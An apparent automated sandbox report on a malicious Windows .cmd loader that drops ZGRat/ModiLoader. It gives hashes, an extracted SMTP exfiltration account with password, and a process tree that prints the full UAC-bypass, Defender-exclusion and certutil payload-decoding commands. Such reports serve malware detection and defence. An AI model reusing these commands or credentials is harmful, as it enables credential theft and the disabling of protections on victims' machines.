Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
06-05-2024 09:39
Static task
static1
Behavioral task
behavioral1
Sample
0794732-20240502-000023.cmd
Resource
win7-20240221-en
General
-
Target
0794732-20240502-000023.cmd
-
Size
2.5MB
-
MD5
cb7ad4fb01d8db651c816dee2ae10f85
-
SHA1
fc9b1ccb0acec60b8657e80dc664448cc6c508e7
-
SHA256
b81cd60b3bf0374b465e0b3b088a13eef95fa61e6acc1226d1b7f68bbef602da
-
SHA512
d51d12007fb51043e0f103067e778d98706e9c96a0134c722351b8dde4d720677857181dec419ffb063e64be60c9fc4fbc2a9e8313898f807ab0a9ef70cb0823
-
SSDEEP
49152:RM/SqG8iJ+4e2Dhq3ebaDZwZBhJRuf5yt:B
Malware Config
Extracted
Protocol: smtp- Host:
sslout.de - Port:
587 - Username:
[email protected] - Password:
dataset123
Signatures
-
Detect ZGRat V1 33 IoCs
resource yara_rule behavioral2/memory/3928-65-0x0000000049D60000-0x0000000049DBE000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-67-0x000000004C880000-0x000000004C8DC000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-73-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-77-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-125-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-123-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-122-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-119-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-118-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-115-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-111-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-109-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-107-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-105-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-103-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-101-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-99-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-97-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-93-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-91-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-89-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-87-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-85-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-83-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-81-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-79-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-75-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-71-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-69-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-127-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-113-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-95-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 behavioral2/memory/3928-68-0x000000004C880000-0x000000004C8D7000-memory.dmp family_zgrat_v1 -
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
ModiLoader Second Stage 2 IoCs
resource yara_rule behavioral2/memory/3928-60-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/3928-63-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation xkn.exe -
Executes dropped EXE 18 IoCs
pid Process 3108 alpha.exe 2060 alpha.exe 1964 alpha.exe 3188 xkn.exe 4580 alpha.exe 4780 ger.exe 2784 alpha.exe 4944 alpha.exe 3088 kn.exe 3828 alpha.exe 3460 kn.exe 4032 Dason.pif 2756 alpha.exe 1324 alpha.exe 3620 alpha.exe 4124 alpha.exe 1580 alpha.exe 3928 amtldmuI.pif -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 54 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4032 set thread context of 3928 4032 Dason.pif 125 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Kills process with taskkill 1 IoCs
pid Process 2656 taskkill.exe -
Modifies registry class 5 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " ger.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ms-settings\shell\open\command ger.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ms-settings\shell ger.exe Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\ms-settings\shell\open ger.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 30 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3188 xkn.exe 3188 xkn.exe 3928 amtldmuI.pif 3928 amtldmuI.pif 3928 amtldmuI.pif 3928 amtldmuI.pif -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3188 xkn.exe Token: SeDebugPrivilege 2656 taskkill.exe Token: SeDebugPrivilege 3928 amtldmuI.pif -
Suspicious use of WriteProcessMemory 52 IoCs
description pid Process procid_target PID 5040 wrote to memory of 4768 5040 cmd.exe 91 PID 5040 wrote to memory of 4768 5040 cmd.exe 91 PID 5040 wrote to memory of 3108 5040 cmd.exe 92 PID 5040 wrote to memory of 3108 5040 cmd.exe 92 PID 3108 wrote to memory of 3372 3108 alpha.exe 93 PID 3108 wrote to memory of 3372 3108 alpha.exe 93 PID 5040 wrote to memory of 2060 5040 cmd.exe 94 PID 5040 wrote to memory of 2060 5040 cmd.exe 94 PID 2060 wrote to memory of 3408 2060 alpha.exe 95 PID 2060 wrote to memory of 3408 2060 alpha.exe 95 PID 5040 wrote to memory of 1964 5040 cmd.exe 96 PID 5040 wrote to memory of 1964 5040 cmd.exe 96 PID 1964 wrote to memory of 3188 1964 alpha.exe 97 PID 1964 wrote to memory of 3188 1964 alpha.exe 97 PID 3188 wrote to memory of 4580 3188 xkn.exe 98 PID 3188 wrote to memory of 4580 3188 xkn.exe 98 PID 4580 wrote to memory of 4780 4580 alpha.exe 99 PID 4580 wrote to memory of 4780 4580 alpha.exe 99 PID 3188 wrote to memory of 3028 3188 xkn.exe 100 PID 3188 wrote to memory of 3028 3188 xkn.exe 100 PID 5040 wrote to memory of 2784 5040 cmd.exe 101 PID 5040 wrote to memory of 2784 5040 cmd.exe 101 PID 2784 wrote to memory of 1016 2784 alpha.exe 102 PID 2784 wrote to memory of 1016 2784 alpha.exe 102 PID 5040 wrote to memory of 4944 5040 cmd.exe 105 PID 5040 wrote to memory of 4944 5040 cmd.exe 105 PID 4944 wrote to memory of 3088 4944 alpha.exe 106 PID 4944 wrote to memory of 3088 4944 alpha.exe 106 PID 5040 wrote to memory of 3828 5040 cmd.exe 109 PID 5040 wrote to memory of 3828 5040 cmd.exe 109 PID 3828 wrote to memory of 3460 3828 alpha.exe 110 PID 3828 wrote to memory of 3460 3828 alpha.exe 110 PID 5040 wrote to memory of 4032 5040 cmd.exe 111 PID 5040 wrote to memory of 4032 5040 cmd.exe 111 PID 5040 wrote to memory of 4032 5040 cmd.exe 111 PID 5040 wrote to memory of 2756 5040 cmd.exe 112 PID 5040 wrote to memory of 2756 5040 cmd.exe 112 PID 5040 wrote to memory of 1324 5040 cmd.exe 113 PID 5040 wrote to memory of 1324 5040 cmd.exe 113 PID 5040 wrote to memory of 3620 5040 cmd.exe 114 PID 5040 wrote to memory of 3620 5040 cmd.exe 114 PID 5040 wrote to memory of 4124 5040 cmd.exe 115 PID 5040 wrote to memory of 4124 5040 cmd.exe 115 PID 4124 wrote to memory of 2656 4124 alpha.exe 116 PID 4124 wrote to memory of 2656 4124 alpha.exe 116 PID 5040 wrote to memory of 1580 5040 cmd.exe 118 PID 5040 wrote to memory of 1580 5040 cmd.exe 118 PID 4032 wrote to memory of 3928 4032 Dason.pif 125 PID 4032 wrote to memory of 3928 4032 Dason.pif 125 PID 4032 wrote to memory of 3928 4032 Dason.pif 125 PID 4032 wrote to memory of 3928 4032 Dason.pif 125 PID 4032 wrote to memory of 3928 4032 Dason.pif 125
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe2⤵PID:4768
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe3⤵PID:3372
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe C:\\Users\\Public\\ger.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe C:\\Users\\Public\\ger.exe3⤵PID:3408
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3188 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn.exe -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "5⤵
- Executes dropped EXE
- Modifies registry class
PID:4780
-
-
-
C:\Windows\system32\fodhelper.exe"C:\Windows\system32\fodhelper.exe"4⤵PID:3028
-
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe3⤵PID:1016
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd" "C:\\Users\\Public\\Dason.rtf" 92⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4944 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\0794732-20240502-000023.cmd" "C:\\Users\\Public\\Dason.rtf" 93⤵
- Executes dropped EXE
PID:3088
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Dason.rtf" "C:\\Users\\Public\\Libraries\\Dason.pif" 122⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Dason.rtf" "C:\\Users\\Public\\Libraries\\Dason.pif" 123⤵
- Executes dropped EXE
PID:3460
-
-
-
C:\Users\Public\Libraries\Dason.pifC:\Users\Public\Libraries\Dason.pif2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4032 -
C:\Users\Public\Libraries\amtldmuI.pifC:\Users\Public\Libraries\amtldmuI.pif3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3928
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\Dason.rtf" / A / F / Q / S2⤵
- Executes dropped EXE
PID:2756
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:1324
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\ger.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:3620
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2656
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:1580
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1876 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:81⤵PID:6160
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.8MB
MD55e3683abe565b079878fbc87b25b5bd9
SHA1ba98abd671e3e2966263c690bb14ec14a8bacaf1
SHA256d33ea19c508d964cde76174bef38b9e86ac8e16d9733412c2ddc67646efdb03d
SHA512b16e92593661d6c6af0a42903d39692ad3dcdb0137e1023008d765a7ebb1ac26ad1acdb2127c7eb41f65af1ac0991ca522a45a5b5b481f699c31a8861bd99d66
-
Filesize
937KB
MD5f1997d251676602369cc0dae8fd6c1dd
SHA1bb054605fcb87c3613856c047db952b0053805fe
SHA2567f761f439918a94adc2d211243cee716b7f817529009478f1c875ba1d881a7b1
SHA5124b98040b0cf36127baa664c72451b126212a815992a8cfde5d7769d043593e23bdc7c624f28dadbeff4e82a3195c38ede06f0829debe92eeb6d8a615ac357685
-
Filesize
66KB
MD5c116d3604ceafe7057d77ff27552c215
SHA1452b14432fb5758b46f2897aeccd89f7c82a727d
SHA2567bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA5129202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
-
Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
Filesize
75KB
MD5227f63e1d9008b36bdbcc4b397780be4
SHA1c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
-
Filesize
1.6MB
MD5bd8d9943a9b1def98eb83e0fa48796c2
SHA170e89852f023ab7cde0173eda1208dbb580f1e4f
SHA2568de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA51295630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b